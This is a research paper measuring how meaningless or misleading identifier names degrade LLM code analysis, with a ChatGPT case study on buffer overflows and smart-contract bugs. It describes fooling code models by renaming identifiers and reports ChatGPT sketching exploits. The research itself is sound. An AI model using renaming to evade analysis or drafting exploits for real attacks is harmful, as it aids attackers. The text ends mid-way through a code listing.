

How Does Naming Affect LLMs on Code Analysis Tasks?

Zhilong Wang¹, Lan Zhang¹, Chen Cao¹, Nanqing Luo¹, Xinzhi Luo², and Peng Liu¹

¹College of Information Science and Technology, The Pennsylvania State University

²Heinz College, Carnegie Mellon University

Abstract—The Large Language Models (LLMs), such as GPT and BERT, were proposed for natural language processing (NLP) and have shown promising results as general-purpose language models. An increasing number of industry professionals and researchers are adopting LLMs for program analysis tasks. However, one significant difference between programming languages and natural languages is that a programmer has the flexibility to assign any names to variables, methods, and functions in the program, whereas a natural language writer does not. Intuitively, the quality of naming in a program affects the performance of LLMs in program analysis tasks. This paper investigates how naming affects LLMs on code analysis tasks. Specifically, we create a set of datasets with code containing nonsense or misleading names for variables, methods, and functions, respectively. We then use well-trained models (CodeBERT) to perform code analysis tasks on these datasets. The experimental results show that naming has a significant impact on the performance of code analysis tasks based on LLMs, indicating that code representation learning based on LLMs heavily relies on well-defined names in code. Additionally, we conduct a case study on some special code analysis tasks using GPT, providing further insights.

I. INTRODUCTION

Deep learning has demonstrated its significant learning ability in natural language processing (NLP). To deploy a natural language task, such as translation and text classification, researchers first pre-train a model to embed words into vectors using ELMo [19], GPT [17], and BERT [6]. These pre-trained models are initially trained on a large unsupervised text corpus and then fine-tuned on different downstream tasks. Such models are called large language models (LLMs) due to their relatively large number of model parameters. These LLMs have been deployed to the source code to learn program representations. Similar to natural language, the program representation learned from the source code using pre-trained models can be applied to several downstream program analysis tasks.

In 2020, Feng et al. proposed a pre-trained model called CodeBERT [7], based on Bidirectional Encoder Representations from Transformers (BERT), that learns general-purpose representations to support downstream NL-PL applications such as natural language code search, code documentation generation, and more. In 2021, Guo et al. proposed a new pre-trained model, GraphCodeBERT [8], which improves CodeBERT by enabling the model to capture more program semantic information, such as data flow. Recently, researchers have adopted ChatGPT for various code analysis tasks, such as code refinement [9], vulnerability discovery [4], and more. In industry, GitHub Copilot [2], powered by GPT, assists developers by suggesting code snippets, completing functions, and providing

contextual code recommendations directly within Integrated Development Environments.

The difference between natural language and programming language leads to unintended consequences if these NLP models are directly applied to programming language. In natural language, the meaning of a word is deterministic in a specific context, whereas in programming language, a programmer can assign any string to any variable, method, or function as their names. In such cases, most strings in the code could be replaced by other words and may not carry meaningful information. If a large language model still heavily relies on the literal meaning of a variable, method, or function name, it may encounter problems when the assigned name does not contain useful information or has a controversial meaning.

Furthermore, a limited number of words are used in natural language, while in programming language, the number of words can be unlimited because a programmer can casually create a string to name a variable, regardless of whether the created string is interpretable. Therefore, it is doubtful whether the word embedding adopted in natural language is still efficient for solving program analysis tasks. If a model designer ignores the numerous differences between natural language and programming language and naively adopts methods from NLP, the designed model may suffer from the above limitations.

In this paper, we propose a taxonomy that groups features in programming languages into two categories: literal features and logical features. We aim to investigate how these different types of features affect the performance of current pre-trained models in downstream tasks and to what extent they influence the results. Specifically, to achieve this goal, we create eight types of datasets that mask off different types of features to quantitatively measure their impact. In each dataset, either variable names or method/function names are replaced with nonsense or misleading names. We then use well-trained models (CodeBERT) to perform two code analysis tasks on these created datasets and measure the impact of naming on the model's performance.

Based on the experimental results, we find that naming strategies have a significant impact on the performance of code analysis tasks based on LLMs, indicating that code representation learning heavily relies on well-defined names in code. Our experiments with CodeBERT reveal the extent to which literal and logical features impact performance. While these models exhibit remarkable capabilities, their effectiveness can be influenced by unreliable features in the analyzed code. Instances such as code generated from decompilation [12]

or non-conventional code naming [3] might yield reduced accuracy, as LLMs’ generalization ability is limited to the patterns and examples present in their training data.

Additionally, since ChatGPT is a conversational large language model that can provide intuitive feedback, we conduct a case study to investigate the pre-trained model’s ability to comprehend programming language in specific settings.

II. BACKGROUND

A. LLMs

CodeBERT and GraphCodeBERT [7, 8] are based on the Transformer architecture and learn code representations through self-supervised training tasks, such as masked language modeling and structure-aware tasks, using a large-scale unlabeled corpus. Specifically, CodeBERT is pre-trained over six programming languages (Python, Java, JavaScript, PHP, Ruby, and Go) and is designed to accomplish three main tasks: masked language modeling, code structure edge prediction, and representation alignment. By mastering these tasks, CodeBERT can comprehend and represent the underlying semantics of code, empowering security researchers with a powerful tool for source code analysis and protection. The pre-trained models have been applied to several downstream program analysis tasks: code search, clone detection, code translation, and code refinement.

ChatGPT [15], an AI chatbot developed by OpenAI and launched in November 2022, has garnered significant attention for its impressive capabilities. With the ability to respond to diverse prompts, ranging from answering questions in various fields to generating custom essays, people are truly astonished by its prowess. Researchers and users alike are intrigued by ChatGPT’s potential to address questions across multiple domains, and they are keen to observe how its application may evolve in different areas. Recently, there has been research adopting ChatGPT for various code analysis tasks, such as code refinement [9], vulnerability discovery [4], and more.

III. TERMINOLOGY: LITERAL FEATURES AND LOGIC FEATURES

A source code file of a program consists of a sequence of tokens. These tokens can be grouped into three categories: keywords, operators (both defined in the programming language specification), and user-defined names.

Keywords are reserved words that have special meanings and purposes and can only be used for specific purposes. For example, `for`, `if`, and `break` are widely known keywords used in many programming languages. They are used in a program to change the control flow. A programming language usually contains only a limited number of keywords. For example, the C programming language contains 32 keywords, and Python 3.7 contains 35 keywords.

In addition to keywords, a programming language needs to define a set of operators. For example, arithmetic operators (e.g., `+`, `-`, and `*`) and logical operators (e.g., `and`, `or`, and `not`) are two of the most important categories. Keywords and operators are defined by a programming language.

In addition, a programmer needs to define some tokens (i.e., names) to represent variables, structures, functions, methods, classes, and packages. When programmers write a code snippet, they can randomly choose any string to name these elements as long as the string does not conflict with reserved keywords and operators and follows the programming language specification. However, programmers have limited flexibility in choosing the keywords and operators. Only some keywords (such as `for` and `while`) and operators (such as `++`, `+`) are interchangeable. Thus, the program logic is fixed when using a set of keywords and operators in a program. In contrast, the names of variables, functions, or classes have no impact on the logic of the program.

Definition 1. (Literal Features and Logical Features). Given a piece of code, the **literal features** are features of the literal meaning of the variable names, function names, and programmer-readable annotation. These features could be removed without changing the functionality of the code. The **logical features** are features that control the program logic. The keywords and operators defined by a programming language specification are logical features.

IV. METHODOLOGY

Currently, GraphCodeBERT takes code snippets of functions or class methods as data samples. It tokenizes keywords, operators, and developer-defined names from the code snippets and utilizes a Transformer to learn the data flow of the source code in the pre-training stage. Within a function or a method, developer-defined names can be grouped into three categories: 1) variable names, 2) method names, and 3) method invocation names. The program logic is not affected if we map these developer-defined names to other strings in the same namespace.

Since the pre-trained CodeBERT and GraphCodeBERT models, along with the datasets [1] for downstream tasks, are publicly available for download and use, we are able to conduct focused experiments to evaluate them. Here, we will conduct the evaluation based on two downstream tasks: natural language code search and clone detection.

The goal of code search is to find the code snippet that is most semantically relevant to a given natural language query from a collection of code. This reflects an LLM’s ability to understand a specific function and map its intended purpose to the relevant code portion within the entire program.

Code clone detection aims to identify and measure the similarity between different code fragments, determining if they produce the same results when given the same input. This indicates whether an LLM’s understanding has reached a level where it can mimic the code execution process and comprehend the logic flow.

We did not choose other downstream tasks because code refinement adopts an abstract representation and code translation involves two programming languages, which introduces challenges in uniformly anonymizing user-defined names. Since our experiments focus on the learning ability of pre-trained models on literal and other semantic features, and the

TABLE I: Newly Created Dataset for Our Experiments.

	Task	Language	Var.	¹ Def.	Inv.	Anon.	²	Size
D1	CodeSearch	Java&Python	✓	✗	✗	Rand.	175,878 & 266,738	³
D2	CodeSearch	Java&Python	✓	✗	✗	Shuff.	175,878 & 266,738	
D3	CodeSearch	Java&Python	✗	✓	✗	Rand.	175,878 & 266,738	
D4	CodeSearch	Java&Python	✗	✓	✗	Shuff.	175,878 & 266,738	
D5	CodeSearch	Java&Python	✗	✗	✓	Rand.	175,878 & 266,738	
D6	CodeSearch	Java&Python	✗	✗	✓	Shuff.	175,878 & 266,738	
D7	CodeSearch	Java&Python	✓	✓	✓	Rand.	175,878 & 266,738	
D8	CodeSearch	Java&Python	✓	✓	✓	Shuff.	175,878 & 266,738	
D9	CloneDete.	Java	✓	✗	✗	Rand.	1316,444	
D10	CloneDete.	Java	✓	✗	✗	Shuff.	1316,444	
D11	CloneDete.	Java	✗	✓	✗	Rand.	1316,444	
D12	CloneDete.	Java	✗	✓	✗	Shuff.	1316,444	
D13	CloneDete.	Java	✗	✗	✓	Rand.	1316,444	
D14	CloneDete.	Java	✗	✗	✓	Shuff.	1316,444	
D15	CloneDete.	Java	✓	✓	✓	Rand.	1316,444	
D16	CloneDete.	Java	✓	✓	✓	Shuff.	1316,444	

¹ Var, Def., and Inv. represent that the variable names, method/function definition names, and the method/function invocation names are anonymized.

² Anonymized methods: randomly-generated or shuffling.

³ Two numbers are the sizes of data samples corresponding two languages.

downstream tasks are only used to evaluate the effectiveness of the pre-trained model, we believe that any reasonable downstream task should be appropriate.

A. Dataset

Then, we retrain the existing models and evaluate their performance on the two downstream tasks: natural language code search and clone detection. For the code search task, we used the test portion from the CodeSearchNet corpus collection [10]. This dataset, derived from publicly available open-source non-fork GitHub repositories and their associated documentation, provides code-text pairs for various code search challenges in both Java and Python. The testing dataset for the clone detection task is based on the BigCloneBench dataset [22], which provides a benchmark built from verified clones of ten common functionalities in different inter-project Java repositories.

Based on the datasets for these two tasks, we generate three types of datasets that anonymize three types of literal features in the code: variable names, method/function definition names, and method/function invocation names. Additionally, we create another type of dataset that anonymizes all three types of features together.

- 1) In the first type of datasets, we anonymize the variable names. An example is the change from `it_end` to `var3` and `finished` to `var4` between Code 1 and Code 2.
- 2) In the second type of datasets, we anonymize the method/function names. An example is the change from `bubble_sort` to `fun1` between Code 1 and Code 2.
- 3) In the third type of datasets, we anonymize the method-/function invocation names. An example is the change from `pred` to `fun2` between Code 1 and Code 2.

- 4) The last type of datasets are a combination of the three types of anonymization, which anonymize all three kinds of developer-defined names.

```

1 void bubble_sort(It begin, It end, Pred pred=Pred()){
2     if ( std::distance( begin, end ) <= 1 ){ return; }
3     auto it_end = end;
4     bool finished = false;
5     while ( !finished ){ //loop stop when no adjacent
6         //elements are not in required order.
7         finished = true;
8         std::advance( it_end, -1 );
9         for (auto it = begin; it != it_end; ++ it ){
10             auto next = detail::advance( it, 1 );
11             if (pred( * next, * it)){
12                 std::swap( * it, * next);
13                 finished = false;
14             }
15         }
16     }

```

Code 1: A piece of code with meaningful variable/function names.

```

1 void fun1(It var1, It var2, Pred fun2=Fun2()){
2     if ( std::distance( var1, var2 ) <= 1 ){ return; }
3     auto var3 = var2;
4     bool var4 = false;
5     while ( !var4 ){
6         var4 = true;
7         std::advance( var3, -1 );
8         for (auto var5 = var1; var5 != var3; ++ var5 ){
9             auto var6 = detail::advance( var5, 1 );
10             if (fun2( * var6, * var5)){
11                 std::swap( * var5, * var6);
12                 var4 = false;
13             }
14         }
15     }
16 }

```

Code 2: The same code without meaningful variable/function names.

Besides, we adopt two strategies to anonymize the names: The first strategy, called "randomly-generated," randomly generates strings (e.g., "oe4yqk4cit2maq7t") without any literal meaning. The second strategy, called "shuffling," shuffles the names in the code. In this way, the shuffled names do not reflect the intention of the variables, functions, or invocations. For example, this strategy could replace "bubble_sort" with "aes_encryption."

Based on the four types of name sets to replace and the two replacing strategies, we eventually generated 16 variants of the original dataset from [8]. The details of the 16 datasets are shown in Table I.

B. Experiment Design

Model Training and Fine-Tuning. We directly adopt the pre-trained model from GraphCodeBERT [8], which is pre-trained on three tasks. The first task involves masked language modeling to learn representations from the source code. The second task is data flow edge prediction, aimed at learning representations from data flow. This is achieved by initially masking some variables' data flow edges and then having GraphCodeBERT predict those edges. The final task is variable alignment between the source code and data flow, which involves predicting the locations where a variable is identified to align representations between the source code and the data

TABLE II: Results on Code Search. The results are shown in $\frac{MRR}{Dataset}$ format.

Lang- uage	Orig.	Anon.	w/o Var.	w/o Def.	w/o Inv.	All
Java	70.36%	Random Shuffling	$\frac{67.73\%}{D1}$	$\frac{60.89\%}{D3}$	$\frac{69.84\%}{D5}$	$\frac{17.42\%}{D7}$
			$\frac{67.14\%}{D2}$	$\frac{58.36\%}{D4}$	$\frac{69.84\%}{D6}$	$\frac{17.03\%}{D8}$
Python	68.17%	Random Shuffling	$\frac{59.8\%}{D1}$	$\frac{55.43\%}{D3}$	$\frac{65.61\%}{D5}$	$\frac{24.09\%}{D7}$
			$\frac{59.78\%}{D2}$	$\frac{55.65\%}{D4}$	$\frac{65.61\%}{D6}$	$\frac{23.73\%}{D8}$

TABLE III: Results on Clone Detection. The results are shown in $\frac{F1}{Dataset}$ format.

Lang- uage	Orig.	Anon.	w/o Var.	w/o Def.	w/o Inv.	All
Java	94.87%	Random Shuffling	$\frac{92.64\%}{D9}$	$\frac{93.97\%}{D11}$	$\frac{94.72\%}{D13}$	$\frac{86.77\%}{D15}$
			$\frac{92.52\%}{D10}$	$\frac{94.27\%}{D12}$	$\frac{93.67\%}{D14}$	$\frac{84.76\%}{D16}$

flow. GraphCodeBERT includes 12 layers of Transformer with 768-dimensional hidden states and 12 attention heads.

The pre-trained model is then fine-tuned on the downstream tasks on an NVIDIA DGX-1. Specifically, we train a model for each of the 16 datasets that we have crafted by randomly selecting 80% of the data samples as the training set and the remaining 20% as the test set.

Evaluation Matrix. We use Mean Reciprocal Rank (MRR) as our evaluation metric for the code search task, which assesses how well the model ranks the correct code snippet among 999 distractor snippets when given the documentation comment as a query. For the code clone detection task, we use the F1 score to measure the model’s performance.

C. Experiment Results

Table II and Table III show the experiment results (MRR or F1 score) on the downstream tasks of code search and code clone detection, respectively. The second column shows the model performance reported in the original paper [8]. The third column indicates the anonymization methods adopted.

The fourth, fifth, and sixth columns display the model performance when anonymizing different parts of the code: variable names, method/function definition names, and method/function invocation names, respectively. The last column shows the model performance when anonymizing all three types of names together. To associate the results with the corresponding datasets in Table I, we provide not only the model performance but also the dataset numbers that were trained and tested on.

D. Analysis and Discussion

The results show that anonymizing variable names, method/function definition names, and method/function invocation names leads to a significant decline in model performance, regardless of whether we replace developer-defined names with “randomly-generated” strings or “shuffling” strings. Additionally, on average, datasets with “shuffling” strings perform worse than those with randomly-generated strings, suggesting that “shuffling” strings can mislead the models.

In terms of method/function names, anonymizing method/function definition names results in more significant degradation than anonymizing method/function invocation names, especially in code search tasks. This indicates that method/function definition names often strongly correlate with the overall function goal in most scenarios within the training dataset. Trained LLMs tend to infer a correlation between the method/function name and its actual purpose when tasked with code search. This predictability stems from open-source program datasets, which are well-organized and intended to be user-readable, unlike malware or commercial applications that obscure their true purpose from users. As for method/function invocation names, their impact is less pronounced because they operate within the function scope and influence only part of the function logic, similar to variable names. As shown in the results table, the score for changes in method/function invocation names is closer to changes in variable names than changes in method/function definition names.

As for different programming languages, we can discern the differences in degradation from the results of the code search task. Overall, if a single attribute is anonymized but the others remain unchanged, the degradation of LLM is more significant for Python than Java. However, if all three naming attributes in the code are changed, the Java task shows the most severe degradation, leading to an MRR score as low as 17.03

This disparity can be attributed to several factors related to language characteristics, naming conventions, and the overall ecosystem of the two languages. Java, as a statically typed language, provides additional context through type declarations, which compensates for the loss of meaningful names. In contrast, Python, a dynamically typed language, relies more heavily on descriptive variable and function names for context and clarity, aligning with its design philosophy of readability and simplicity. Developers expect meaningful names in Python to quickly understand code functionality.

Java code often includes more boilerplate and verbosity, which can provide additional contextual clues even if names are anonymized. Moreover, the Java ecosystem’s strong typing and adherence to naming conventions in frameworks and libraries ensure consistency and maintainability in large codebases. These structural and syntactical elements help mitigate the impact of partial anonymization. However, modifying all names for both variables and method/functions in Java code disrupts these patterns, significantly impairing the LLM’s ability to understand the code.

Similarly, in Python, anonymizing all three types of names led to a score as low as 23.73%, indicating that Python’s reliance on descriptive naming for understanding is also critical. The combination of these factors underscores the challenges in adapting LLMs effectively to programming languages, necessitating models that can handle both literal and logical features to enhance performance in code analysis tasks.

Compared to the clone detection task, the performance degradation is more pronounced in the code search task. This difference arises from the inherent goals of the tasks: code search involves mapping a natural language description to a

code block, while clone detection focuses solely on comparing code fragments.

In code search tasks, well-defined variable and method/function names are crucial because they help CodeBERT relate the code snippet to its descriptive purpose. Consequently, the model relies more on the natural language elements of the code and less on its underlying logic. Conversely, code cloning typically involves copying code with slight alterations, often in the names of variables or methods/functions, to avoid plagiarism or detection. Thus, detecting code clones requires ignoring these names and focusing on the actual logic flow of the code.

This fundamental difference between the two tasks explains the varying degrees of performance degradation observed in CodeBERT during code analysis. It also indicates that CodeBERT is well-trained for code clone detection tasks, recognizing that naming conventions have minimal impact on the actual logic of the code. Therefore, there is a growing need for pre-trained models specifically tailored to programming languages rather than natural language, to enhance their effectiveness in code analysis tasks.

Overall, our experiments reflect that current source-code level representation learning methods still largely rely on the *literal features* and ignore the *logical features*. However, the *literal features* are not always reliable, as mentioned in Section I. The current models still cannot effectively learn the logical features in the source code. Attackers can simply randomize the *literal features* to mislead the CodeBERT and GraphCodeBERT models.

V. CASE STUDY

To verify our findings, we conducted case studies on ChatGPT to further investigate the details. ChatGPT is a state-of-the-art LLM designed to understand and generate human-like text based on the input it receives. Its ability to answer questions, provide explanations, and engage in conversations is helpful for us to understand the nuances of success or failure in our case study. Similar to CodeBERT, ChatGPT has also been adopted to perform source code level analysis and address security-related issues, such as vulnerability discovery and fixing [21, 5].

In this section, we conduct case studies on ChatGPT with a series of analytical tasks. Specifically, we first assess ChatGPT’s capability to comprehend source code. Subsequently, we evaluate ChatGPT’s proficiency in tackling specific security challenges and its generalization ability.

A. Semantic Comprehension

To evaluate whether ChatGPT has a better ability to understand the logical flows in the code without the influence of naming, we randomly select several code snippets from LeetCode¹, representing varying levels of difficulty, and assess ChatGPT’s performance on the original code snippets and the corresponding obfuscated code snippets.

Our experiments show that ChatGPT can correctly understand the original code snippets. Taking the Supper Egg Drop problem (**Appx Q1**) as an example, it explains the purpose of the code snippet, the logic and complexity of the algorithm, and provides suggestions to improve the code. Then, we manually obfuscated the code snippets by renaming the variables and function names and insert dummy code that will not have an impact on its results. The obfuscated code is shown in Code 4. ChatGPT can not provide useful review of the obfuscated code (**Appx Q2**).

Based on the responses from ChatGPT, we can conjecture that ChatGPT learns the literal features of code snippets that exist within its training data and generates responses based on statistical patterns involving characters, keywords, and syntactic structures. This knowledge encompasses various aspects such as indentation, syntax, and common coding conventions. However, it lacks a profound comprehension of code semantics, logic, or context beyond the patterns and examples present in its training data. Consequently, it struggles to comprehend obfuscated code, as it relies heavily on literal features. This issue is exacerbated by the fact that ChatGPT is trained on a general corpus rather than a code-focused corpus like CodeBERT, making it more susceptible to misinterpretation due to name changes.

B. Vulnerabilities Analysis

Though GPT relies on literal features to understand code logic, several works demonstrate its ability to understand normal code (without obfuscation) [20, 18, 24]. The following section tests its ability in software testing, including vulnerability identification, exploitation development, remediation, and real-world security audits.

1) *Synthetic Programs and Classic Vulnerability*: We adopt a piece of code (**Appx Q3**) that contains buffer overflow vulnerability and then task ChatGPT to find the vulnerabilities. Then, we replace the `strcpy` function with a homemade string copy function (**Appx Q4**) and challenge ChatGPT with modified code. The analysis conducted by ChatGPT on the vulnerability in the code was impressively accurate, showing its potential to identify vulnerabilities in the source code effectively. However, in an effort to explore its understanding of potential security risks, we posed another question: ❶ Whether ChatGPT can exploit a vulnerability to launch an attack.

Through experiment (**Appx Q5**), we observed that the exploit proposed by ChatGPT, although not directly usable to launch attacks, was conceptually correct. This suggests that ChatGPT possesses the ability to assist attackers in generating potential exploits.

Then, we investigate ❷ whether ChatGPT can also provide solutions to fix the identified vulnerability. Our evaluation (**Appx Q6**) has demonstrated that the proposed patching effectively addresses the vulnerability in the code, providing an effective fix. As a result, we believe that ChatGPT holds the potential to assist developers and security analysts in identifying and resolving vulnerabilities in normal programs.

¹The source code is available at: <https://github.com/Moirai7/ChatGPTforSourceCode>

Finally, we assess ③ whether it can suggest protection schemes that thwart potential exploits by attackers. By leveraging ChatGPT’s analysis, we aim to explore its ability to propose robust security measures that can safeguard against known vulnerabilities and potential attack vectors.

In the experiment ((Appx Q7)), the proposed protection scheme suggested by ChatGPT demonstrates a conceptually correct approach to detect buffer overflows through the use of a “canary”. However, upon closer inspection, we identified some implementation errors that may impact its effectiveness. The placement of the canary at the beginning of the buffer, instead of at the end, renders it unable to detect buffer overflows that overwrite adjacent variables located at higher memory addresses. Additionally, the revised code introduces the “canary” into the buffer without correspondingly increasing the buffer size, limiting its capacity to handle strings as long as the original implementation.

While ChatGPT appears to understand the concept of using a “canary” for buffer overflow detection, it seems to struggle in correctly applying this knowledge to unseen code snippets. These issues raise concerns regarding ChatGPT’s soundness. That means GPT can provide answer/solution that are correct in the high level, but incorrect in some details. As the software protection require higher soundness, which poses challenges to adopt GPT to protect software.

2) *Real-world Program and Logic Bugs*: The last subsection discussed GPT’s ability with synthetic programs containing popular classic bugs. In this section, we test its ability to reason about logic bugs (cross-function vulnerabilities) in real-world applications. Specifically, our objective is to investigate the capabilities of ChatGPT to analyze and audit smart contracts, which are commonly deployed in the Web3 ecosystem.

First, we tested different types of vulnerabilities ((Appx Q8)) that happened before ChatGPT launched so that they could potentially manifest within the ChatGPT system (*i.e.*, seen programs). According to the answer, ChatGPT adeptly identifies potential vulnerabilities and offers appropriate patches. Furthermore, after selecting a full list of smart contracts [14, 11] across various categories including reentrancy attack and variable shadowing, ChatGPT consistently discerns vulnerabilities and provides accurate solutions.

Secondly, we conducted analyses on a selection of recently emerged vulnerable smart contracts ((Appx Q9)), occurring within the temporal scope of 2023, to evaluate their efficacy in terms of generalization. This examination was predicated upon a real-world incursion targeting Midas Capital (as detailed in [13]) in June 2023. The actual root cause of this attack is due to round issues, however, based on the answer that ChatGPT gives us, it is not aware of the risk in function `redeemFresh`. We also test several recent attack cases [23], and ChatGPT can correctly identify none of them.

Third, we additionally assess the efficacy of ChatGPT in the realm of cross-contract vulnerability detection ((Appx Q10)). To this end, we present a real-world attack scenario exempli-

fied by an incident occurring within the Euler Finance ecosystem [16]. According to the findings of the analysis, ChatGPT is unable to accurately discern vulnerabilities, opting instead to provide seemingly correct responses arbitrarily, devoid of substantive remedial recommendations. Consequently, it is still difficult for chatGPT to grapple with the intricacies in the analysis of cross-contract vulnerabilities.

C. Observations

The conclusion of this case study aligns with the findings from our main experiments: users should expect degraded model performance when applying LLMs to analyze source code lacking sufficient information in variable, function, or class names. For instance, code generated from decompilation [12] or code that does not adhere to standard naming conventions [3] may yield lower accuracy, as demonstrated in questions Appx Q1 and Appx Q2. Furthermore, additional findings from the case study indicate that for very specific questions involving implementation-level details, logical reasoning, or systematic solutions, ChatGPT’s proposed solutions may be conceptually correct at a high level but may not fully address the problem.

VI. CONCLUSION

This study unveils the strengths and limitations of LLMs when applied to security-oriented code analysis tasks. Our focused experiments on CodeBERT and GraphCodeBERT shed light on the impact of literal and logic features on their performance, indicating the importance of considering the reliability of features in analyzed code. Users and researchers should be aware that LLM performance may be hindered when analyzing complex source code with insufficient information on variables, methods, and function names. We believe that our findings and analysis will provide valuable insights for future researchers in this domain, facilitating a deeper understanding of LLMs’ potential and limitations in software security.

REFERENCES

- [1] —. 2021. Code Pretraining Models. <https://github.com/microsoft/CodeBERT>
- [2] 2023. GitHub Copilot. <https://visualstudio.microsoft.com/github-copilot/>
- [3] Simon Butler, Michel Wermelinger, and Yijun Yu. 2015. Investigating naming convention adherence in Java references. In *2015 IEEE International Conference on Software Maintenance and Evolution (ICSME)*. IEEE, 41–50.
- [4] Chong Chen, Jianzhong Su, Jiachi Chen, Yanlin Wang, Tingting Bi, Yanli Wang, Xingwei Lin, Ting Chen, and Zibin Zheng. 2023. When chatgpt meets smart contract vulnerability detection: How far are we? *arXiv preprint arXiv:2309.05520* (2023).
- [5] Anton Cheshkov, Pavel Zadorozhny, and Rodion Levichev. 2023. Evaluation of ChatGPT Model for Vulnerability Detection. *arXiv preprint arXiv:2304.07232* (2023).

- [6] Jacob Devlin, Ming-Wei Chang, Kenton Lee, and Kristina Toutanova. 2018. Bert: Pre-training of Deep Bidirectional Transformers for Language Understanding. *arXiv preprint arXiv:1810.04805* (2018).
- [7] Zhangyin Feng, Daya Guo, Duyu Tang, Nan Duan, Xiaocheng Feng, Ming Gong, Linjun Shou, Bing Qin, Ting Liu, Daxin Jiang, et al. 2020. Codebert: A pre-trained model for programming and natural languages. *arXiv preprint arXiv:2002.08155* (2020).
- [8] Daya Guo, Shuo Ren, Shuai Lu, Zhangyin Feng, Duyu Tang, Shujie Liu, Long Zhou, Nan Duan, Alexey Svyatkovskiy, Shengyu Fu, et al. 2020. Graphcodebert: Pre-training code representations with data flow. *arXiv preprint arXiv:2009.08366* (2020).
- [9] Qi Guo, Junming Cao, Xiaofei Xie, Shangqing Liu, Xiaohong Li, Bihuan Chen, and Xin Peng. 2024. Exploring the potential of chatgpt in automated code refinement: An empirical study. In *Proceedings of the 46th IEEE/ACM International Conference on Software Engineering*. 1–13.
- [10] Hamel Husain, Ho-Hsiang Wu, Tiferet Gazit, Miltiadis Allamanis, and Marc Brockschmidt. 2019. Codesearch-net challenge: Evaluating the state of semantic code search. *arXiv preprint arXiv:1909.09436* (2019).
- [11] Runtime Verification Inc. 2023. verified-smart-contracts. <https://github.com/runtimeverification/verified-smart-contracts/wiki/List-of-Security-Vulnerabilities>
- [12] Deborah S Katz, Jason Ruchti, and Eric Schulte. 2018. Using recurrent neural networks for decompilation. In *2018 IEEE 25th International Conference on Software Analysis, Evolution and Reengineering (SANER)*. IEEE, 346–356.
- [13] Neptune Mutual. 2023. Understanding Midas Capital Exploit. <https://neptonemutual.com/blog/understanding-midas-capital-exploit>
- [14] Trail of bits. 2023. No-so-smart-contracts. <https://github.com/crytic/not-so-smart-contracts>
- [15] OpenAI. 2023. Introducing ChatGPT. <https://openai.com/blog/chatgpt>
- [16] QuillAudits. 2023. Decoding Euler Finance’s 197 Million Exploit QuillAudits. <https://medium.com/coinmonks/decoding-euler-finance-197-million-exploit-quillaudits-1f3b3b3b3b3b>
- [17] Alec Radford, Karthik Narasimhan, Tim Salimans, and Ilya Sutskever. 2018. Improving language understanding by generative pre-training. (2018).
- [18] Zoltán Ságodi, Gábor Antal, Bence Bogenfürst, Martin Isztin, Péter Hegedűs, and Rudolf Ferenc. 2024. Reality Check: Assessing GPT-4 in Fixing Real-World Software Vulnerabilities. In *Proceedings of the 28th International Conference on Evaluation and Assessment in Software Engineering*. 252–261.
- [19] Justyna Sarzynska-Wawer, Aleksander Wawer, Aleksandra Pawlak, Julia Szymanowska, Izabela Stefaniak, Michal Jarkiewicz, and Lukasz Okruszek. 2021. Detecting formal thought disorder by deep contextualized word representations. *Psychiatry Research* 304 (2021), 114135.
- [20] Yuqiang Sun, Daoyuan Wu, Yue Xue, Han Liu, Haijun Wang, Zhengzi Xu, Xiaofei Xie, and Yang Liu. 2024. Gptscan: Detecting logic vulnerabilities in smart contracts by combining gpt with program analysis. In *Proceedings of the IEEE/ACM 46th International Conference on Software Engineering*. 1–13.
- [21] Nigar M Shafiq Surameery and Mohammed Y Shakor. 2023. Use chat gpt to solve programming bugs. *International Journal of Information Technology & Computer Engineering (IJITC) ISSN: 2455-5290* 3, 01 (2023), 17–22.
- [22] Jeffrey Svajlenko, Judith F Islam, Iman Keivanloo, Chanchal K Roy, and Mohammad Mamun Mia. 2014. Towards a big data curated benchmark of inter-project code clones. In *2014 IEEE International Conference on Software Maintenance and Evolution*. IEEE, 476–480.
- [23] Web3Sec. 2023. Smart Contracts Auditing Reports. <https://www.web3sec.news/audits>
- [24] Ziang Xiao, Xingdi Yuan, Q Vera Liao, Rania Abdelghani, and Pierre-Yves Oudeyer. 2023. Supporting qualitative analysis with large language models: Combining codebook with GPT-3 for deductive coding. In *Companion proceedings of the 28th international conference on intelligent user interfaces*. 75–78.

APPENDIX

Appx Q1: Could you review the bellowing code?

```

1  int superEggDrop(int K, int N) {
2      vector<vector<int>> dp(N + 1, vector<int>(K + 1, 0));
3      int m = 0;
4      while (dp[m][K] < N) {
5          m++;
6          for (int k = 1; k <= K; ++k)
7              dp[m][k] = dp[m - 1][k - 1] + dp[m - 1][k] + 1;
8      }
9      return m;
10 }

```

Code 3: A solution to Supper Egg Drop problem from LeetCode.

Reply from ChatGPT: The code appears to be a dynamic programming solution to the “egg drop” problem, where one has K eggs and a building with N floors, and the objective is to find the minimum number of drops required to determine the floor from which the egg breaks. The code creates a 2D vector dp with dimensions $(N + 1) \times (K + 1)$ and initializes all elements to 0. It then iterates through values of m (starting from 1) until the value of $dp[m][K]$ is greater than or equal to N . For each value of m , it updates the values of $dp[m][k]$ for each egg (k), based on the recurrence relation $dp[m][k] = dp[m - 1][k - 1] + dp[m - 1][k] + 1$. Finally, it returns the value of m . Overall, the code looks correct and efficient. It correctly computes the minimum number of drops required to determine the floor from which the egg breaks. The use of dynamic programming allows the algorithm to avoid unnecessary computations and runs in $O(K \times N)$ time, which is optimal for this problem.

However, it should be noted that this solution is not the only one to the egg drop problem, and there are other approaches that can be taken to solve it. Also, the code could benefit from some comments to explain the purpose and logic of the algorithm.

1arch%2013


```

// obfuscated code snippet
int gyjdfgadfsvcvjhyt(int kdsfjaldfie55qwer, int kdsfja) {
3   vector<vector<int>> kdasd35sfja(kdsfja + 1, vector<int>
   >(kdsfjaldfie55qwer + 1, 0));
4   int kdasd35sfjada = 0;
5   int af567856dfg = kdasd35sfja.size(), abf567856dfg =
   kdasd35sfja[0].size(),
6   abf5678s56dfg = 0, abf5678sss56dfg = abf567856dfg -
   1;
7   int abfss556dfg = 0;
8
9   while (kdasd35sfja[kdasd35sfjada][kdsfjaldfie55qwer] <
   kdsfja) {
10      while (abf5678s56dfg < af567856dfg &&
   abf5678sss56dfg > -1) {
11         int abf556dfg = kdasd35sfja[abf5678s56dfg][
   abf5678sss56dfg];
12         if (abf556dfg == abfss556dfg) break;
13         if (abfss556dfg > abf556dfg) abf5678s56dfg++;
14         else abf5678sss56dfg--;
15      }
16      kdasd35sfjada++;
17      for (int sdf23423 = 1; sdf23423 <=
   kdsfjaldfie55qwer; ++sdf23423)
18         kdasd35sfja[kdasd35sfjada][sdf23423] =
